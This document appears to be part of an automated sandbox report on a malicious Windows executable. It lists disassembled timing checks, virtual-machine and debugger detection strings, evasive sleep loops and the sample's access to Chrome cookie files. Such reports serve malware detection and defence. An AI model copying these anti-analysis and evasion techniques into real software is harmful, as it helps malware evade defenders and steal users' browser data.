Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7850280 second address: 7850321 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF09105E49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+24h], 00000000h 0x00000013 pushad 0x00000014 movzx ecx, di 0x00000017 pushfd 0x00000018 jmp 00007FDF09105E49h 0x0000001d and esi, 32B6C2E6h 0x00000023 jmp 00007FDF09105E41h 0x00000028 popfd 0x00000029 popad 0x0000002a lock bts dword ptr [edi], 00000000h 0x0000002f jmp 00007FDF09105E3Eh 0x00000034 jc 00007FDF78EF7F78h 0x0000003a pushad 0x0000003b jmp 00007FDF09105E3Eh 0x00000040 push esi 0x00000041 pushad 0x00000042 popad 0x00000043 pop ebx 0x00000044 popad 0x00000045 pop edi 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 jmp 00007FDF09105E3Fh 0x0000004e mov ah, 70h 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7850321 second address: 7850353 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF08CE3BA2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a pushad 0x0000000b mov di, si 0x0000000e movzx eax, dx 0x00000011 popad 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FDF08CE3BA0h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7850353 second address: 785036B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF09105E3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esp, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov bx, cx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7880966 second address: 7880983 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF08CE3BA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7880AEC second address: 7880B10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF09105E49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7880B10 second address: 7880B14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7880B14 second address: 7880B18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7880B18 second address: 7880B1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7880B1E second address: 7880B32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDF09105E40h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7880B32 second address: 7880B41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c mov ax, dx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7880B41 second address: 7880B66 instructions: 0x00000000 rdtsc 0x00000002 movsx edi, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ch, DCh 0x00000009 popad 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDF09105E45h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7880B66 second address: 7880B6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7880B6A second address: 7880B70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7880B70 second address: 7880B76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7880B76 second address: 7880B94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FDF09105E41h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7880BE9 second address: 7880BED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7880BED second address: 7880BF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78F0AE7 second address: 78F0BA8 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 5C65A471h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007FDF08CE3B9Eh 0x0000000e call 00007FDF08CE3BA2h 0x00000013 pop eax 0x00000014 pop edx 0x00000015 popad 0x00000016 xchg eax, ebp 0x00000017 jmp 00007FDF08CE3B9Eh 0x0000001c push eax 0x0000001d jmp 00007FDF08CE3B9Bh 0x00000022 xchg eax, ebp 0x00000023 pushad 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007FDF08CE3BA2h 0x0000002b xor ax, 9608h 0x00000030 jmp 00007FDF08CE3B9Bh 0x00000035 popfd 0x00000036 movzx eax, bx 0x00000039 popad 0x0000003a mov ax, bx 0x0000003d popad 0x0000003e mov ebp, esp 0x00000040 pushad 0x00000041 mov si, dx 0x00000044 mov dh, 10h 0x00000046 popad 0x00000047 mov dl, byte ptr [ebp+14h] 0x0000004a jmp 00007FDF08CE3BA0h 0x0000004f mov eax, dword ptr [ebp+10h] 0x00000052 jmp 00007FDF08CE3BA0h 0x00000057 and dl, 00000007h 0x0000005a push eax 0x0000005b push edx 0x0000005c jmp 00007FDF08CE3BA7h 0x00000061 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78F0BA8 second address: 78F0C48 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF09105E49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b jmp 00007FDF09105E3Eh 0x00000010 je 00007FDF78E7B453h 0x00000016 jmp 00007FDF09105E40h 0x0000001b sub ecx, ecx 0x0000001d jmp 00007FDF09105E41h 0x00000022 inc ecx 0x00000023 pushad 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007FDF09105E3Ah 0x0000002b xor si, D518h 0x00000030 jmp 00007FDF09105E3Bh 0x00000035 popfd 0x00000036 pushfd 0x00000037 jmp 00007FDF09105E48h 0x0000003c and ch, 00000078h 0x0000003f jmp 00007FDF09105E3Bh 0x00000044 popfd 0x00000045 popad 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78F0C48 second address: 78F0C80 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FDF08CE3BA2h 0x00000008 or cl, FFFFFFD8h 0x0000000b jmp 00007FDF08CE3B9Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 shr eax, 1 0x00000016 pushad 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a mov eax, 05E4CA87h 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 mov dx, cx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78F0C80 second address: 78F0AE7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF09105E46h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a jmp 00007FDF78E7B36Ch 0x0000000f jne 00007FDF09105E2Dh 0x00000011 inc ecx 0x00000012 shr eax, 1 0x00000014 jne 00007FDF09105E2Dh 0x00000016 imul ecx, ecx, 03h 0x00000019 movzx eax, dl 0x0000001c cdq 0x0000001d sub ecx, 03h 0x00000020 call 00007FDF0911632Dh 0x00000025 cmp cl, 00000040h 0x00000028 jnc 00007FDF09105E47h 0x0000002a cmp cl, 00000020h 0x0000002d jnc 00007FDF09105E38h 0x0000002f shld edx, eax, cl 0x00000032 shl eax, cl 0x00000034 ret 0x00000035 or edx, dword ptr [ebp+0Ch] 0x00000038 or eax, dword ptr [ebp+08h] 0x0000003b or edx, 80000000h 0x00000041 pop ebp 0x00000042 retn 0010h 0x00000045 push ebp 0x00000046 push 00000001h 0x00000048 push edx 0x00000049 push eax 0x0000004a call edi 0x0000004c mov edi, edi 0x0000004e pushad 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007FDF09105E42h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78D0CA7 second address: 78D0CB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78D0CB8 second address: 78D0CBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78D0CBC second address: 78D0CC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78D0CC2 second address: 78D0CC7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78D0CC7 second address: 78D0CDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, 14A78E2Dh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d pushad 0x0000000e mov bl, al 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78D0CDB second address: 78D0D6F instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FDF09105E47h 0x00000008 and ecx, 695A0D0Eh 0x0000000e jmp 00007FDF09105E49h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 mov ebp, esp 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007FDF09105E3Ch 0x00000020 xor cl, FFFFFF88h 0x00000023 jmp 00007FDF09105E3Bh 0x00000028 popfd 0x00000029 pushfd 0x0000002a jmp 00007FDF09105E48h 0x0000002f add ax, A5E8h 0x00000034 jmp 00007FDF09105E3Bh 0x00000039 popfd 0x0000003a popad 0x0000003b pop ebp 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f mov edi, 6EFA1156h 0x00000044 movsx edi, cx 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78D0D6F second address: 78D0D75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78D0D75 second address: 78D0D79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78D0D79 second address: 78D0D7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78E0444 second address: 78E0448 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78E0448 second address: 78E044E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78E044E second address: 78E0454 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78E0454 second address: 78E0458 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78E0458 second address: 78E0497 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b jmp 00007FDF09105E45h 0x00000010 pop esi 0x00000011 popad 0x00000012 xchg eax, ebp 0x00000013 pushad 0x00000014 mov edi, 2E0DD8D0h 0x00000019 mov si, di 0x0000001c popad 0x0000001d mov ebp, esp 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FDF09105E3Eh 0x00000026 rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\RGU8qibimk.exe Special instruction interceptor: First address: 11FFBA4 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\RGU8qibimk.exe Special instruction interceptor: First address: 1430CA9 instructions caused by: Self-modifying code
Contains capabilities to detect virtual machines
Source: C:\Users\user\Desktop\RGU8qibimk.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\Desktop\RGU8qibimk.exe Window / User API: threadDelayed 1811 Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Window / User API: threadDelayed 1270 Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Window / User API: threadDelayed 1008 Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Window / User API: threadDelayed 1102 Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Window / User API: threadDelayed 1063 Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Window / User API: threadDelayed 1050 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Window / User API: threadDelayed 7732 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Window / User API: threadDelayed 2267 Jump to behavior
Found large amount of non-executed APIs
Source: C:\Users\user\AppData\Local\Temp\service123.exe API coverage: 1.2 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\RGU8qibimk.exe TID: 7984 Thread sleep time: -36018s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe TID: 7960 Thread sleep count: 1811 > 30 Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe TID: 7960 Thread sleep time: -3623811s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe TID: 7956 Thread sleep count: 1270 > 30 Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe TID: 7956 Thread sleep time: -2541270s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe TID: 8080 Thread sleep time: -44000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe TID: 7964 Thread sleep count: 1008 > 30 Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe TID: 7964 Thread sleep time: -2017008s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe TID: 7976 Thread sleep count: 1102 > 30 Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe TID: 7976 Thread sleep time: -2205102s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe TID: 7972 Thread sleep count: 1063 > 30 Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe TID: 7972 Thread sleep time: -2127063s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe TID: 7968 Thread sleep count: 1050 > 30 Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe TID: 7968 Thread sleep time: -2101050s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 5924 Thread sleep count: 7732 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 5924 Thread sleep time: -773200s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 5924 Thread sleep count: 2267 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 5924 Thread sleep time: -226700s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\service123.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\RGU8qibimk.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\ Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\ Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe File opened: C:\Users\user\.ms-ad\ Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe File opened: C:\Users\user\AppData\Local\ Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe File opened: C:\Users\user\AppData\Local\Google\ Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe File opened: C:\Users\user\AppData\ Jump to behavior
Source: Amcache.hve.14.dr Binary or memory string: VMware
Source: Amcache.hve.14.dr Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.14.dr Binary or memory string: vmci.syshbin
Source: Amcache.hve.14.dr Binary or memory string: VMware, Inc.
Source: Amcache.hve.14.dr Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.14.dr Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.14.dr Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.14.dr Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.14.dr Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: RGU8qibimk.exe, 00000000.00000003.1441157960.0000000007B40000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\*recent_filesprocessesuptime_minutesC:\Windows\System32\VBox*.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: Amcache.hve.14.dr Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: RGU8qibimk.exe, 00000000.00000003.1471870484.00000000070F1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Y\MACHINE\SYSTEM\ControlSet001\Services\VBoxSFlO#7u
Source: Amcache.hve.14.dr Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: RGU8qibimk.exe, 00000000.00000003.1469055346.0000000001CF2000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlla
Source: Amcache.hve.14.dr Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: chrome.exe, 00000003.00000002.1855616288.000001D2E0E58000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.14.dr Binary or memory string: vmci.sys
Source: RGU8qibimk.exe, 00000000.00000003.1441157960.0000000007B40000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: Amcache.hve.14.dr Binary or memory string: vmci.syshbin`
Source: Amcache.hve.14.dr Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.14.dr Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.14.dr Binary or memory string: VMware-42 27 ae 88 8c 2b 21 02-a5 86 22 5b 84 51 ac f0
Source: Amcache.hve.14.dr Binary or memory string: VMware20,1
Source: Amcache.hve.14.dr Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.14.dr Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.14.dr Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.14.dr Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.14.dr Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.14.dr Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.14.dr Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.14.dr Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.14.dr Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.14.dr Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.14.dr Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: C:\Users\user\Desktop\RGU8qibimk.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\RGU8qibimk.exe Thread information set: HideFromDebugger Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\Desktop\RGU8qibimk.exe Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\RGU8qibimk.exe Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\RGU8qibimk.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\RGU8qibimk.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\RGU8qibimk.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\RGU8qibimk.exe Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\RGU8qibimk.exe Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\RGU8qibimk.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\Desktop\RGU8qibimk.exe File opened: NTICE
Source: C:\Users\user\Desktop\RGU8qibimk.exe File opened: SICE
Source: C:\Users\user\Desktop\RGU8qibimk.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\RGU8qibimk.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Process queried: DebugPort Jump to behavior
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_00338230 LoadLibraryA,GetProcAddress,FreeLibrary,GetLastError, 9_2_00338230
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_0033116C Sleep,Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm,GetStartupInfoA,_cexit,_initterm,exit, 9_2_0033116C
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_00331160 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv, 9_2_00331160
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_003311A3 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv, 9_2_003311A3
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_003313C9 SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm, 9_2_003313C9
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C8B84D0 cpuid 9_2_6C8B84D0
Queries information about the installed CPU (vendor, model number etc)
Source: C:\Users\user\Desktop\RGU8qibimk.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\RGU8qibimk.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
AV process strings found (often used to terminate AV products)
Source: RGU8qibimk.exe, 00000000.00000003.1441157960.0000000007B40000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: procmon.exe
Source: Amcache.hve.14.dr Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
